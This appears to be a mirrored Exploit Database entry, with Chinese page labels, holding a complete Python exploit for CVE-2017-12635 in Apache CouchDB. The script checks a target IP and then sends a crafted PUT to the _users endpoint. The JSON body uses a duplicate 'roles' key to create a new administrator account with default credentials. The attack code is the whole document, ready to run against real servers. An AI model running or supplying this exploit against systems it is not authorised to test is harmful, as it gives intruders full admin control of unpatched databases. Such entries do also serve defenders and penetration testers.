Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation

• Exploit Database
• 12 阅读

• 作者： r4wd3r
  日期： 2018-04-23
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/44498/

• #!/usr/bin/env python
  
  '''
  @author:r4wd3r
  @license: MIT License
  @contact: r4wd3r@gmail.com
  '''
  
  import argparse
  import re
  import sys
  import requests
  
  parser = argparse.ArgumentParser(
  description='Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerability' +
  ' (CVE-2017-12635)')
  parser.add_argument('host', help='Host to attack.', type=str)
  parser.add_argument('-p', '--port', help='Port of CouchDB Service', type=str, default='5984')
  parser.add_argument('-u', '--user', help='Username to create as admin.',
  type=str, default='couchara')
  parser.add_argument('-P', '--password', help='Password of the created user.',
  type=str, default='couchapass')
  args = parser.parse_args()
  
  host = args.host
  port = args.port
  user = args.user
  password = args.password
  
  pat_ip = re.compile("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$")
  if not pat_ip.match(host):
  print "[x] Wrong host. Must be a valid IP address."
  sys.exit(1)
  
  print "[+] User to create: " + user
  print "[+] Password: " + password
  print "[+] Attacking host " + host + " on port " + port
  
  url = 'http://' + host + ':' + port
  
  try:
  rtest = requests.get(url, timeout=10)
  except requests.exceptions.Timeout:
  print "[x] Server is taking too long to answer. Exiting."
  sys.exit(1)
  except requests.ConnectionError:
  print "[x] Unable to connect to the remote host."
  sys.exit(1)
  
  # Payload for creating user
  cu_url_payload = url + "/_users/org.couchdb.user:" + user
  cu_data_payload = '{"type": "user", "name": "'+user+'", "roles": ["_admin"], "roles": [], "password": "'+password+'"}'
  
  try:
  rcu = requests.put(cu_url_payload, data=cu_data_payload)
  except requests.exceptions.HTTPError:
  print "[x] ERROR: Unable to create the user on remote host."
  sys.exit(1)
  
  if rcu.status_code == 201:
  print "[+] User " + user + " with password " + password + " successfully created."
  sys.exit(0)
  else:
  print "[x] ERROR " + str(rcu.status_code) + ": Unable to create the user on remote host."